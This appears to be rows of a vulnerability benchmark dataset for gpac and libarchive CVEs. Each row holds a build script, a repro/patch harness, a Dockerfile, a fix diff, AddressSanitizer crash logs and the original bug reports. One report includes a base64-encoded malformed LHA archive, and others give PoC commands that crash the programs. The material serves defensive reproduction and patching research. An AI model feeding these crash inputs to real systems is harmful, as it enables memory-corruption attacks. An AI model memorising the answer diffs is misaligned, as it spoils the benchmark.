#0 0x7ffff4d708ef in txtin_process_srt filters/load_text.c:949
This frame has 14 object(s):
[32, 36) 'sh' (line 950)
[48, 52) 'sm' (line 950)
[64, 68) 'ss' (line 950)
[80, 84) 'sms' (line 950)
[96, 100) 'eh' (line 950)
[112, 116) 'em' (line 950)
[128, 132) 'es' (line 950)
[144, 148) 'ems' (line 950)
[160, 164) 'char_len' (line 950)
[176, 180) 'set_start_char' (line 951)
[192, 196) 'set_end_char' (line 951)
[208, 212) 'line' (line 952)
[224, 248) '<unknown>'
[288, 2336) 'szLine' (line 953) <== Memory access at offset 2336 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/asan/asan_interceptors.cc:431 in __interceptor_strcpy
Shadow bytes around the buggy address:
0x10007fff5a10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007fff5a20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007fff5a30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007fff5a40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007fff5a50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10007fff5a60: 00 00[f3]f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3
0x10007fff5a70: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007fff5a80: 00 00 00 00 00 00 f1 f1 f1 f1 04 f2 04 f2 04 f2
0x10007fff5a90: 04 f2 00 00 00 f2 f2 f2 f2 f2 00 00 00 f3 f3 f3
0x10007fff5aa0: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007fff5ab0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==59407==ABORTING | ================= Bug Report (1/1) ==================
## Source: Huntr
## URL: https://huntr.com/bounties/4c027b94-8e9c-4c31-a169-893b25047769
## Description:
Description
stack-buffer-overflow in gf_text_get_utf8_line at filters/load_text.c:381.
#Version
git log
commit 7edc40feef23efd8c9948292d269eae76fa475af (HEAD -> master, origin/master, origin/HEAD)
Author: jeanlf <jeanlf@gpac.io>
Date: Thu Oct 12 16:58:53 2023 +0200
./bin/gcc/MP4Box -version
MP4Box - GPAC version 2.3-DEV-rev588-g7edc40fee-master
(c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Proof of Concept
./bin/gcc/MP4Box -dash 1000 /home/fuzz/crashes/sbo3
[Dasher] No template assigned, using $File$_dash$FS$$Number$
[Dasher] No bitrate property assigned to PID sbo_381, computing from bitstream
[TXTIn] Bad SRT formatting - expecting number got "m[ññ<?xml versi0"A217Z" minimumU.(17Z --> wi"
[TXTIn] Corrupted SRT frame 0 after frame 0
[TXTIn] Error scanning SRT frame 0 timing
[TXTIn] Corrupted SRT frame 0 after frame 0
[TXTIn] Error scanning SRT frame 0 timing
[TXTIn] Corrupted SRT frame 0 after frame 0
[TXTIn] Error scanning SRT frame 0 timing
[TXTIn] Corrupted SRT frame 0 after frame 0
[TXTIn] Error scanning SRT frame 0 timing
[TXTIn] Corrupted SRT frame 0 after frame 0
[TXTIn] Error scanning SRT frame 0 timing
[TXTIn] Corrupted SRT frame 0 after frame 0
[TXTIn] Error scanning SRT frame 0 timing
[TXTIn] Corrupted SRT frame 0 after frame 0
[TXTIn] Error scanning SRT frame 0 timing
[TXTIn] Corrupted SRT frame 0 after frame 0
[TXTIn] Error scanning SRT frame 0 timing
[TXTIn] Corrupted SRT frame -1 after frame 0
=================================================================
==59407==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffffffed310 at pc 0x7ffff761f16d bp 0x7ffffffebfe0 sp 0x7ffffffeb788
WRITE of size 2048 at 0x7ffffffed310 thread T0
#0 0x7ffff761f16c in __interceptor_strcpy ../../../../src/libsanitizer/asan/asan_interceptors.cc:431
#1 0x7ffff4d52d1c in strcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:90
#2 0x7ffff4d52d1c in gf_text_get_utf8_line filters/load_text.c:381
#3 0x7ffff4d71af3 in txtin_process_srt filters/load_text.c:996
#4 0x7ffff4d6b4f3 in txtin_process filters/load_text.c:4015
#5 0x7ffff4a5d4ae in gf_filter_process_task filter_core/filter.c:2971
#6 0x7ffff4a2ab11 in gf_fs_thread_proc filter_core/filter_session.c:2105
#7 0x7ffff4a2f8b6 in gf_fs_run filter_core/filter_session.c:2405
#8 0x7ffff43bc0bd in gf_dasher_process media_tools/dash_segmenter.c:1236
#9 0x555555621d26 in do_dash /home/fuzz/gpac/applications/mp4box/mp4box.c:4831
#10 0x555555621d26 in mp4box_main /home/fuzz/gpac/applications/mp4box/mp4box.c:6245
#11 0x7ffff164c082 in __libc_start_main ../csu/libc-start.c:308
#12 0x5555555fa05d in _start (/home/fuzz/gpac/bin/gcc/MP4Box+0xa605d)
Address 0x7ffffffed310 is located in stack of thread T0 at offset 2336 in frame
#0 0x7ffff4d708ef in txtin_process_srt filters/load_text.c:949
This frame has 14 object(s):
[32, 36) 'sh' (line 950)
[48, 52) 'sm' (line 950)
[64, 68) 'ss' (line 950)
[80, 84) 'sms' (line 950)
[96, 100) 'eh' (line 950)
[112, 116) 'em' (line 950)
[128, 132) 'es' (line 950)
[144, 148) 'ems' (line 950)
[160, 164) 'char_len' (line 950)
[176, 180) 'set_start_char' (line 951)
[192, 196) 'set_end_char' (line 951)
[208, 212) 'line' (line 952)
[224, 248) '<unknown>'
[288, 2336) 'szLine' (line 953) <== Memory access at offset 2336 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/asan/asan_interceptors.cc:431 in __interceptor_strcpy
Shadow bytes around the buggy address:
0x10007fff5a10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007fff5a20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007fff5a30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007fff5a40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007fff5a50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10007fff5a60: 00 00[f3]f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3
0x10007fff5a70: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007fff5a80: 00 00 00 00 00 00 f1 f1 f1 f1 04 f2 04 f2 04 f2
0x10007fff5a90: 04 f2 00 00 00 f2 f2 f2 f2 f2 00 00 00 f3 f3 f3
0x10007fff5aa0: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007fff5ab0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==59407==ABORTING
POC address:
https://github.com/Janette88/test_pocs/blob/main/sbo3
Impact
This is capable of causing crashes and allowing modification of stack memory which could lead to remote code execution. |
libarchive.cve-2017-14503 | libarchive/libarchive | libarchive | c++ | /src/libarchive | address | libarchive 3.3.2 suffers from an out-of-bounds read within lha_read_data_none() in archive_read_support_format_lha.c when extracting a specially crafted lha archive, related to lha_crc16. | 98a695399e8e7420635a5448aecde8b0a82fb83a | #!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
# Check if autogen.sh exists and run it if present
if [ -f "./build/autogen.sh" ]; then
chmod +x ./build/autogen.sh
./build/autogen.sh
fi
# Configure the project
./configure
# Build the project using all available processors
make -j$(nproc) | #!/bin/bash
build() {
echo "BUILDING THE PROJECT..."
if /usr/local/bin/compile 1>/dev/null; then
echo "BUILD COMPLETED SUCCESSFULLY!"
else
echo "BUILD FAILED!"
exit 1
fi
}
repro() {
echo "REPRODUCING THE ISSUE FOR libarchive.cve-2017-14503..."
# Run the vulnerable command with the provided PoC file
ASAN_OPTIONS="detect_leaks=0" /src/libarchive/bsdtar -xOf /testcase/oob_decoded.lha
# NOTE: YOU SHOULD NOT RETURN/EXIT 0 IN THIS FUNCTION.
# Example: /out/fuzzer /testcase/poc_file
}
patch() {
echo "PATCHING THE PROJECT..."
cd /src/libarchive
if git apply /testcase/model_patch.diff; then
echo "PATCH APPLIED SUCCESSFULLY!"
else
echo "PATCH APPLICATION FAILED!"
exit 1
fi
}
if [ "$#" -ge 1 ]; then
command="$1"
case "$command" in
build)
build "$@"
;;
repro)
repro "$@"
;;
patch)
patch "$@"
;;
*)
echo "Unknown command: $command"
echo "Usage: secb [build|repro|patch]"
exit 1
;;
esac
else
echo "Usage: secb [build|repro|patch]"
exit 1
fi | FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool pkg-config libbz2-dev liblzo2-dev liblzma-dev liblz4-dev libz-dev libxml2-dev libssl-dev libacl1-dev libattr1-dev
RUN git clone https://github.com/libarchive/libarchive libarchive
RUN git -C libarchive checkout 98a695399e8e7420635a5448aecde8b0a82fb83a
WORKDIR $SRC/libarchive
COPY build.sh $SRC/ | diff --git a/libarchive/archive_read_support_format_lha.c b/libarchive/archive_read_support_format_lha.c
index b8ef4ae1..95c99bb1 100644
--- a/libarchive/archive_read_support_format_lha.c
+++ b/libarchive/archive_read_support_format_lha.c
@@ -701,6 +701,12 @@ archive_read_format_lha_read_header(struct archive_read *a,
* Prepare variables used to read a file content.
*/
lha->entry_bytes_remaining = lha->compsize;
+ if (lha->entry_bytes_remaining < 0) {
+ archive_set_error(&a->archive,
+ ARCHIVE_ERRNO_FILE_FORMAT,
+ "Invalid LHa entry size");
+ return (ARCHIVE_FATAL);
+ }
lha->entry_offset = 0;
lha->entry_crc_calculated = 0;
| 1 | ==21722==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x631000024800 at pc 0x56536be61878 bp 0x7fffa2254ec0 sp 0x7fffa2254eb8
READ of size 2 at 0x631000024800 thread T0
#0 0x56536be61877 in lha_crc16 libarchive/archive_read_support_format_lha.c:1740
#1 0x56536be5f791 in lha_read_data_none libarchive/archive_read_support_format_lha.c:1429
#2 0x56536be5f385 in archive_read_format_lha_read_data libarchive/archive_read_support_format_lha.c:1390
#3 0x56536be06398 in _archive_read_data_block libarchive/archive_read.c:986
#4 0x56536bec9481 in archive_read_data_block libarchive/archive_virtual.c:161
#5 0x56536be0af76 in archive_read_data_into_fd libarchive/archive_read_data_into_fd.c:101
#6 0x56536bde0c1e in read_archive tar/read.c:369
#7 0x56536bddf303 in tar_mode_x tar/read.c:112
#8 0x56536bddc62d in main tar/bsdtar.c:866
#9 0x7fd1bd14c2e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
#10 0x56536bdd7f79 in _start (/root/libarchive/bsdtar+0x3ff79)
0x631000024800 is located 0 bytes to the right of 65536-byte region [0x631000014800,0x631000024800)
allocated by thread T0 here:
#0 0x7fd1bea69b70 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xd9b70)
#1 0x56536be1926e in file_open libarchive/archive_read_open_filename.c:358
#2 0x56536be03da8 in archive_read_open1 libarchive/archive_read.c:480
#3 0x56536be186ba in archive_read_open_filenames libarchive/archive_read_open_filename.c:152
#4 0x56536be182ae in archive_read_open_filename libarchive/archive_read_open_filename.c:109
#5 0x56536bddfed2 in read_archive tar/read.c:222
#6 0x56536bddf303 in tar_mode_x tar/read.c:112
#7 0x56536bddc62d in main tar/bsdtar.c:866
#8 0x7fd1bd14c2e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
SUMMARY: AddressSanitizer: heap-buffer-overflow libarchive/archive_read_support_format_lha.c:1740 in lha_crc16
Shadow bytes around the buggy address:
0x0c627fffc8b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c627fffc8c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c627fffc8d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c627fffc8e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c627fffc8f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c627fffc900:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c627fffc910: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c627fffc920: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c627fffc930: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c627fffc940: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c627fffc950: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==21722==ABORTING | ================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/libarchive/libarchive/issues/948
## Description:
Issue: libarchive/libarchive#948
Title: out-of-bounds read in lha_read_data_none()
State: closed
Created by: carnil
Created at: 2017-09-16 18:50:05+00:00
Issue Body:
Hi
The following was reported downstream in Debian at https://bugs.debian.org/875960
The `oob.lha` base64 encoded is:
````
YQAtbGgwLQwAAAAMAAAAADs9SyACeJdNBwBh5AQAAAwAAWhlbGxvLnR4dBMAQv9zdWJkaXL/c3Vi
ZGlyMv8bAEEAAG5cdYrKAQAAblx1in8fAORrn6AjzQEGAADnVA8AADA=
````
tested against 5562545b5562f6d12a4ef991fae158bf4ccf92b6:
```
ASAN_OPTIONS="detect_leaks=0" ./bsdtar -xOf ~/oob.lha
=================================================================
==21722==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x631000024800 at pc 0x56536be61878 bp 0x7fffa2254ec0 sp 0x7fffa2254eb8
READ of size 2 at 0x631000024800 thread T0
#0 0x56536be61877 in lha_crc16 libarchive/archive_read_support_format_lha.c:1740
#1 0x56536be5f791 in lha_read_data_none libarchive/archive_read_support_format_lha.c:1429
#2 0x56536be5f385 in archive_read_format_lha_read_data libarchive/archive_read_support_format_lha.c:1390
#3 0x56536be06398 in _archive_read_data_block libarchive/archive_read.c:986
#4 0x56536bec9481 in archive_read_data_block libarchive/archive_virtual.c:161
#5 0x56536be0af76 in archive_read_data_into_fd libarchive/archive_read_data_into_fd.c:101
#6 0x56536bde0c1e in read_archive tar/read.c:369
#7 0x56536bddf303 in tar_mode_x tar/read.c:112
#8 0x56536bddc62d in main tar/bsdtar.c:866
#9 0x7fd1bd14c2e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
#10 0x56536bdd7f79 in _start (/root/libarchive/bsdtar+0x3ff79)
0x631000024800 is located 0 bytes to the right of 65536-byte region [0x631000014800,0x631000024800)
allocated by thread T0 here:
#0 0x7fd1bea69b70 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xd9b70)
#1 0x56536be1926e in file_open libarchive/archive_read_open_filename.c:358
#2 0x56536be03da8 in archive_read_open1 libarchive/archive_read.c:480
#3 0x56536be186ba in archive_read_open_filenames libarchive/archive_read_open_filename.c:152
#4 0x56536be182ae in archive_read_open_filename libarchive/archive_read_open_filename.c:109
#5 0x56536bddfed2 in read_archive tar/read.c:222
#6 0x56536bddf303 in tar_mode_x tar/read.c:112
#7 0x56536bddc62d in main tar/bsdtar.c:866
#8 0x7fd1bd14c2e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
SUMMARY: AddressSanitizer: heap-buffer-overflow libarchive/archive_read_support_format_lha.c:1740 in lha_crc16
Shadow bytes around the buggy address:
0x0c627fffc8b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c627fffc8c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c627fffc8d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c627fffc8e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c627fffc8f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c627fffc900:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c627fffc910: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c627fffc920: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c627fffc930: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c627fffc940: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c627fffc950: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==21722==ABORTING
``` |
gpac.cve-2023-0760 | gpac/gpac | gpac | c++ | /src/gpac | address | Heap-based Buffer Overflow in GitHub repository gpac/gpac prior to V2.1.0-DEV. | 8db20cb634a546c536c31caac94e1f74b778b463 | #!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
# Check if configure script exists
if [ -f ./configure ]; then
chmod +x ./configure
./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}"
fi
make -j$(nproc) | #!/bin/bash
build() {
echo "BUILDING THE PROJECT..."
if /usr/local/bin/compile 1>/dev/null; then
echo "BUILD COMPLETED SUCCESSFULLY!"
else
echo "BUILD FAILED!"
exit 1
fi
}
repro() {
echo "REPRODUCING THE ISSUE FOR gpac.cve-2023-0760..."
/src/gpac/bin/gcc/MP4Box -bt /testcase/poc_hbo01_s.dat
# NOTE: YOU SHOULD NOT RETURN/EXIT 0 IN THIS FUNCTION.
}
patch() {
echo "PATCHING THE PROJECT..."
cd /src/gpac
if git apply /testcase/model_patch.diff; then
echo "PATCH APPLIED SUCCESSFULLY!"
else
echo "PATCH APPLICATION FAILED!"
exit 1
fi
}
if [ "$#" -ge 1 ]; then
command="$1"
case "$command" in
build)
build "$@"
;;
repro)
repro "$@"
;;
patch)
patch "$@"
;;
*)
echo "Unknown command: $command"
echo "Usage: secb [build|repro|patch]"
exit 1
;;
esac
else
echo "Usage: secb [build|repro|patch]"
exit 1
fi | FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev
RUN git clone https://github.com/gpac/gpac gpac
RUN git -C gpac checkout 8db20cb634a546c536c31caac94e1f74b778b463
WORKDIR $SRC/gpac
COPY build.sh $SRC/ | diff --git a/src/isomedia/box_code_base.c b/src/isomedia/box_code_base.c
index baf07ff35..9a9ad09b4 100644
--- a/src/isomedia/box_code_base.c
+++ b/src/isomedia/box_code_base.c
@@ -9983,6 +9983,9 @@ static void *sgpd_parse_entry(u32 grouping_type, GF_BitStream *bs, s32 bytes_in_
}
return ptr;
}
+ case 0:
+ GF_LOG(GF_LOG_WARNING, GF_LOG_CONTAINER, ("[iso file] sgpd entry null grouping_type is invalid\n") );
+ return NULL;
default:
break;
}
| 0 | ==1805484==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000001640 at pc 0x7ffff1d15327 bp 0x7fffffff2e10 sp 0x7fffffff2e08
READ of size 8 at 0x602000001640 thread T0
#0 0x7ffff1d15326 in gf_isom_box_size /home/fuzz/gpac/src/isomedia/box_funcs.c:1997:9
#1 0x7ffff1ed4247 in gf_isom_is_identical_sgpd /home/fuzz/gpac/src/isomedia/isom_read.c:5865:3
#2 0x7ffff235419a in MergeTrack /home/fuzz/gpac/src/isomedia/track.c:913:11
#3 0x7ffff1d9f8bd in MergeFragment /home/fuzz/gpac/src/isomedia/isom_intern.c:92:7
#4 0x7ffff1dbc1d7 in gf_isom_parse_movie_boxes_internal /home/fuzz/gpac/src/isomedia/isom_intern.c:722:9
#5 0x7ffff1da7ace in gf_isom_parse_movie_boxes /home/fuzz/gpac/src/isomedia/isom_intern.c:868:6
#6 0x7ffff1dc3c43 in gf_isom_open_file /home/fuzz/gpac/src/isomedia/isom_intern.c:988:19
#7 0x7ffff1df57ff in gf_isom_open /home/fuzz/gpac/src/isomedia/isom_read.c:509:11
#8 0x540f28 in mp4box_main /home/fuzz/gpac/applications/mp4box/mp4box.c:6221:12
#9 0x5540c1 in main /home/fuzz/gpac/applications/mp4box/mp4box.c:6846:1
#10 0x7fffee1e1082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#11 0x42ac7d in _start (/home/fuzz/gpac/bin/gcc/MP4Box+0x42ac7d)
0x602000001640 is located 0 bytes to the right of 16-byte region [0x602000001630,0x602000001640)
allocated by thread T0 here:
#0 0x4a5edd in malloc (/home/fuzz/gpac/bin/gcc/MP4Box+0x4a5edd)
#1 0x7ffff03674e4 in gf_malloc /home/fuzz/gpac/src/utils/alloc.c:150:9
#2 0x7ffff1b28192 in sgpd_parse_entry /home/fuzz/gpac/src/isomedia/box_code_base.c:9994:2
#3 0x7ffff1b1ed19 in sgpd_box_read /home/fuzz/gpac/src/isomedia/box_code_base.c:10259:9
#4 0x7ffff1d1093f in gf_isom_box_read /home/fuzz/gpac/src/isomedia/box_funcs.c:1897:9
#5 0x7ffff1d0b2d6 in gf_isom_box_parse_ex /home/fuzz/gpac/src/isomedia/box_funcs.c:282:14
#6 0x7ffff1d18173 in gf_isom_box_array_read /home/fuzz/gpac/src/isomedia/box_funcs.c:1790:7
#7 0x7ffff1aa4de4 in traf_box_read /home/fuzz/gpac/src/isomedia/box_code_base.c:6363:13
#8 0x7ffff1d1093f in gf_isom_box_read /home/fuzz/gpac/src/isomedia/box_funcs.c:1897:9
#9 0x7ffff1d0b2d6 in gf_isom_box_parse_ex /home/fuzz/gpac/src/isomedia/box_funcs.c:282:14
#10 0x7ffff1d18173 in gf_isom_box_array_read /home/fuzz/gpac/src/isomedia/box_funcs.c:1790:7
#11 0x7ffff1a2723c in moof_box_read /home/fuzz/gpac/src/isomedia/box_code_base.c:3676:9
#12 0x7ffff1d1093f in gf_isom_box_read /home/fuzz/gpac/src/isomedia/box_funcs.c:1897:9
#13 0x7ffff1d0b2d6 in gf_isom_box_parse_ex /home/fuzz/gpac/src/isomedia/box_funcs.c:282:14
#14 0x7ffff1d06ad9 in gf_isom_parse_root_box /home/fuzz/gpac/src/isomedia/box_funcs.c:38:8
#15 0x7ffff1da93a5 in gf_isom_parse_movie_boxes_internal /home/fuzz/gpac/src/isomedia/isom_intern.c:378:7
#16 0x7ffff1da7ace in gf_isom_parse_movie_boxes /home/fuzz/gpac/src/isomedia/isom_intern.c:868:6
#17 0x7ffff1dc3c43 in gf_isom_open_file /home/fuzz/gpac/src/isomedia/isom_intern.c:988:19
#18 0x7ffff1df57ff in gf_isom_open /home/fuzz/gpac/src/isomedia/isom_read.c:509:11
#19 0x540f28 in mp4box_main /home/fuzz/gpac/applications/mp4box/mp4box.c:6221:12
#20 0x5540c1 in main /home/fuzz/gpac/applications/mp4box/mp4box.c:6846:1
#21 0x7fffee1e1082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/fuzz/gpac/src/isomedia/box_funcs.c:1997:9 in gf_isom_box_size
Shadow bytes around the buggy address:
0x0c047fff8270: fa fa 00 00 fa fa 01 fa fa fa 00 00 fa fa 01 fa
0x0c047fff8280: fa fa 00 00 fa fa 01 fa fa fa 00 00 fa fa 00 00
0x0c047fff8290: fa fa 00 00 fa fa 00 00 fa fa 07 fa fa fa 00 00
0x0c047fff82a0: fa fa 00 00 fa fa 00 fa fa fa 00 00 fa fa 00 00
0x0c047fff82b0: fa fa 00 00 fa fa 00 fa fa fa 01 fa fa fa 00 00
=>0x0c047fff82c0: fa fa 00 00 fa fa 00 00[fa]fa 01 fa fa fa 00 00
0x0c047fff82d0: fa fa 01 fa fa fa 00 00 fa fa 01 fa fa fa 00 00
0x0c047fff82e0: fa fa 01 fa fa fa 00 00 fa fa 01 fa fa fa 00 00
0x0c047fff82f0: fa fa 01 fa fa fa 00 00 fa fa 01 fa fa fa 00 00
0x0c047fff8300: fa fa 01 fa fa fa 00 00 fa fa 01 fa fa fa 00 00
0x0c047fff8310: fa fa 01 fa fa fa 00 00 fa fa 01 fa fa fa 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1805484==ABORTING | ================= Bug Report (1/1) ==================
## Source: Huntr
## URL: https://huntr.dev/bounties/d06223df-a473-4c82-96d0-23726b844b21
## Description:
Description
Heap Buffer Overflow in function gf_isom_box_size at src/isomedia/box_funcs.c:1997
gpac version
git log
commit bbca869177585aaca8eb66d8541079e6f364798e (HEAD -> master, origin/master, origin/HEAD)
Author: jeanlf <jeanlf@gpac.io>
Date: Wed Jan 18 11:40:30 2023 +0100
fixed potentially missing last packets in tsmux
POC
./MP4Box -bt ./poc_hbo01_s.dat
[iso file] Unknown top-level box type 0000
[iso file] Unknown top-level box type 0000
[iso file] Unknown top-level box type 0000
[iso file] Unknown box type 0000 in parent moov
[iso file] Unknown box type 0000 in parent mvex
[iso file] Read Box type 0000 (0x30303030) at position 544 has size 0 but is not at root/file level. Forbidden, skipping end of parent box !
[iso file] Box "mvex" (start 488) has 24 extra bytes
[iso file] Unknown box type 0000 in parent minf
[iso file] Unknown box type 0000 in parent minf
[iso file] Unknown box type 0000 in parent stbl
[iso file] Box "sgpd" (start 1154) has 8 extra bytes
[iso file] Missing DataInformationBox
[iso file] Track with no sample description box !
[iso file] Unknown box type 0000 in parent moov
[iso file] Unknown box type 0000 in parent moov
[iso file] Read Box type 0000 (0x30303030) at position 1261 has size 0 but is not at root/file level. Forbidden, skipping end of parent box !
[iso file] Box "moov" (start 351) has 655 extra bytes
[iso file] Unknown top-level box type 0000
[iso file] Unknown top-level box type 0000
[iso file] Unknown box type 0000 in parent moof
[iso file] Unknown box type 0000 in parent traf
[iso file] Box "sbgp" (start 2072) has 8 extra bytes
[iso file] Unknown box type 0000 in parent traf
[iso file] Unknown box type 0000 in parent traf
[iso file] Box "sgpd" (start 2168) has 12 extra bytes
[iso file] Unknown box type VOID in parent traf
[iso file] Read Box type 0000 (0x30303030) at position 2220 has size 0 but is not at root/file level. Forbidden, skipping end of parent box !
[iso file] Box "traf" (start 2028) has 406 extra bytes
[iso file] Unknown box type 0000 in parent moof
[iso file] default sample description set to 808464432 but only 0 sample description(s), likely broken ! Fixing to 1
[iso file] Box sgpd wrote 36 bytes but size is 48
=================================================================
==1805484==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000001640 at pc 0x7ffff1d15327 bp 0x7fffffff2e10 sp 0x7fffffff2e08
READ of size 8 at 0x602000001640 thread T0
#0 0x7ffff1d15326 in gf_isom_box_size /home/fuzz/gpac/src/isomedia/box_funcs.c:1997:9
#1 0x7ffff1ed4247 in gf_isom_is_identical_sgpd /home/fuzz/gpac/src/isomedia/isom_read.c:5865:3
#2 0x7ffff235419a in MergeTrack /home/fuzz/gpac/src/isomedia/track.c:913:11
#3 0x7ffff1d9f8bd in MergeFragment /home/fuzz/gpac/src/isomedia/isom_intern.c:92:7
#4 0x7ffff1dbc1d7 in gf_isom_parse_movie_boxes_internal /home/fuzz/gpac/src/isomedia/isom_intern.c:722:9
#5 0x7ffff1da7ace in gf_isom_parse_movie_boxes /home/fuzz/gpac/src/isomedia/isom_intern.c:868:6
#6 0x7ffff1dc3c43 in gf_isom_open_file /home/fuzz/gpac/src/isomedia/isom_intern.c:988:19
#7 0x7ffff1df57ff in gf_isom_open /home/fuzz/gpac/src/isomedia/isom_read.c:509:11
#8 0x540f28 in mp4box_main /home/fuzz/gpac/applications/mp4box/mp4box.c:6221:12
#9 0x5540c1 in main /home/fuzz/gpac/applications/mp4box/mp4box.c:6846:1
